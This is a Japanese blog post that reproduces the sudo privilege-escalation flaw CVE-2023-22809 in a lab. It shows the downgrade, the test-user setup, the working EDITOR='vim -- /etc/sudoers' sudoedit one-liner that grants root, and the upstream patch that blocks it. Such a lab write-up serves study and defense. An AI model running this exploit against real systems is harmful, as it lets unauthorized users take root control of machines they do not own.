🎉

sudoの脆弱性(CVE-2023-22809)を使って実際に特権昇格してみる

2023/02/19に公開

sudoの特権昇格の脆弱性を実際に行ってみます。
割と簡単に再現できるので、おすすめです。

特権昇格の仕方

権限のあるユーザで以下のコマンドを実行するだけで可能です。

$ EDITOR='vim -- <操作したいファイル>' sudoedit <sudoedit権限のあるファイル>

CVE-2023-22809とは

sudoで見つかった特権昇格を可能にする脆弱性です。
https://nvd.nist.gov/vuln/detail/CVE-2023-22809

厳密には編集権限のないファイルを編集できるようになる脆弱性ですが、例えばこの脆弱性を使って/etc/sudoersを編集すれば任意のアカウントにsudo権限を付けられます。

詳しい流れは以下のサイトを見るとわかりやすいです。
https://security.sios.jp/vulnerability/sudo-security-vulnerability-20230120/
https://www.linode.com/ja/blog/security/sudoedit-drupal-and-git-security-advisories-haproxy-vulnerability/

悪用するには対象のサーバにログインしないといけないので、実際に攻撃に使われる可能性は低いと思います。

上述の通り再現が簡単なので、「特権昇格ってこんなに簡単にできるんだ」ということを示すにはちょうど良いと思いました。

環境の準備

AWSでEC2を立てます。OSはUbuntu20.04です。

デフォルトだとsudoの最新のバージョン(今回は1.8.31-1ubuntu1.4)が入っています。

$ dpkg -l | grep sudo
ii  sudo                               1.8.31-1ubuntu1.4                 amd64        Provide limited super user privileges to specific users

まずはsudoを脆弱性のあるバージョンにダウングレードします。
1.8.31-1ubuntu1.4はまさに今回の脆弱性が修正されたパッケージなので、これより古いパッケージであればどれでもよさそうです。

※修正が入ったバージョンについては以下リンクを参照。Ubuntu20.04のコードネームはfocalです。
https://ubuntu.com/security/CVE-2023-22809

まずはapt list sudo -aでインストール可能なパッケージを確認
1.8.31-1ubuntu1が使えそうだったのでこれをインストールします。

バージョンを指定してインストールするにはapt install sudo=1.8.31-1ubuntu1と入力します。

$ sudo apt list sudo -a
Listing... Done
sudo/focal-updates,focal-security,now 1.8.31-1ubuntu1.4 amd64 [installed,automatic]
sudo/focal 1.8.31-1ubuntu1 amd64
sudo apt install sudo=1.8.31-1ubuntu1.4

$ sudo apt install sudo=1.8.31-1ubuntu1
~中略~
dpkg: warning: downgrading sudo from 1.8.31-1ubuntu1.4 to 1.8.31-1ubuntu1
(Reading database ... 61862 files and directories currently installed.)
Preparing to unpack .../sudo_1.8.31-1ubuntu1_amd64.deb ...
Unpacking sudo (1.8.31-1ubuntu1) over (1.8.31-1ubuntu1.4) ...
Setting up sudo (1.8.31-1ubuntu1) ...
Processing triggers for man-db (2.9.1-1) ...

インストール後、もう一度バージョンを確認して想定通りであることを確認しましょう。

$ dpkg -l | grep sudo
ii  sudo                               1.8.31-1ubuntu1                   amd64        Provide limited super user privileges to specific users

ユーザの作成とsudoersの編集

脆弱性を悪用するにはsudoeditが許可されたユーザが必要です。

なのでまずはユーザを作成します。ユーザ名はsudoedit-testにします。

$ sudo useradd -mU sudoedit-test

作成できました。
では試しにrootでしか編集できないファイルを作成してsudoedit-testユーザでは編集できないことを確認しましょう。

$ sudo touch /etc/sudoedit.txt
$ ls -l /etc/sudoedit.txt
-rw-r--r-- 1 root root 0 Feb 18 17:55 /etc/sudoedit.txt

sudoedit-testユーザにスイッチして、先ほどのファイルをviで編集してみましょう。

$ sudo su - sudoedit-test
$ vi /etc/sudoedit.txt

readonlyで書き込めないと思います。
では今度はsudoeditを編集して、ユーザにsudoedit権限を与えてみましょう。

visudoコマンドを使って最終行に設定を追加します。

$ sudo EDITOR=vim visudo
sudoedit-test ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/sudoedit.txt ←この行を追加

これでファイルに書き込み権限が与えられました。
sudoedit-testユーザにスイッチしてファイルを編集してみてください。
ファイルの編集にはviではなくsudoeditコマンドを使います。

$ sudo su - sudoedit-test
$ EDITOR='vim' sudoedit /etc/sudoedit.txt

今度は編集できたと思います。
ここまでで準備は完了です。

実際にやってみた

今回はこの脆弱性を使って/etc/sudoersファイルを編集し、sudoedit-testユーザにsudo権限を付けます。

EDITOR='vim -- /etc/sudoers' sudoedit /etc/sudoedit.txt

上のコマンドを実行すると、なぜか/etc/sudoedit.txtではなく/etc/sudoersが開かれます。
その状態でファイルに以下の行を追加しましょう

sudoedit-test ALL=NOPASSWD: ALL

これでsudoedit-testユーザにsudo権限がNOPASSWDでつけられました。
後はsudoコマンドで何でもできます。試しにrootにスイッチしてみましょう。

sudo su -

sudoedit-testユーザからrootに昇格できます。

脆弱性の原因

sudoの環境変数の処理の仕方に問題があったようです。
パッケージ間の差分はlaunchpadのサイトから確認できます。
https://launchpad.net/ubuntu/+source/sudo/1.8.31-1ubuntu1.4

具体的には以下の箇所が追加になっています。
if文で環境変数に"--"が入っていないか確認するようになっています。

++	/*
++	 * We use "--" to separate the editor and arguments from the files
++	 * to edit.  The editor arguments themselves may not contain "--".
++	 */
++	if (strcmp(nargv[nargc], "--") == 0) {
++	    sudo_warnx(U_("ignoring editor: %.*s"), (int)edlen, ed);
++	    sudo_warnx("%s", U_("editor arguments may not contain \"--\""));
++	    errno = EINVAL;
++	    free(editor_path);
++	    while (nargc--)
++		free(nargv[nargc]);

実際に最新バージョンのsudoで脆弱性を突こうとするとエラーが出るようになっています。

$ EDITOR='vim -- /etc/sudoers' sudoedit /etc/sudoedit.txt
sudoedit: ignoring editor: vim -- /etc/sudoers
sudoedit: editor arguments may not contain "--"

まとめ

脆弱性は内容によっては簡単に悪用できます。
また、その原因も単純なミスだったりします。

最近だとopensslの脆弱性であるCVE-2022-3602が大きな騒ぎになりましたが、その原因は一部の処理で比較演算子を>=にするべきところを>にしてしまっていたことが原因です。

だから何だというわけではないですが、面白いと思ってもらえたら嬉しいです。

Discussion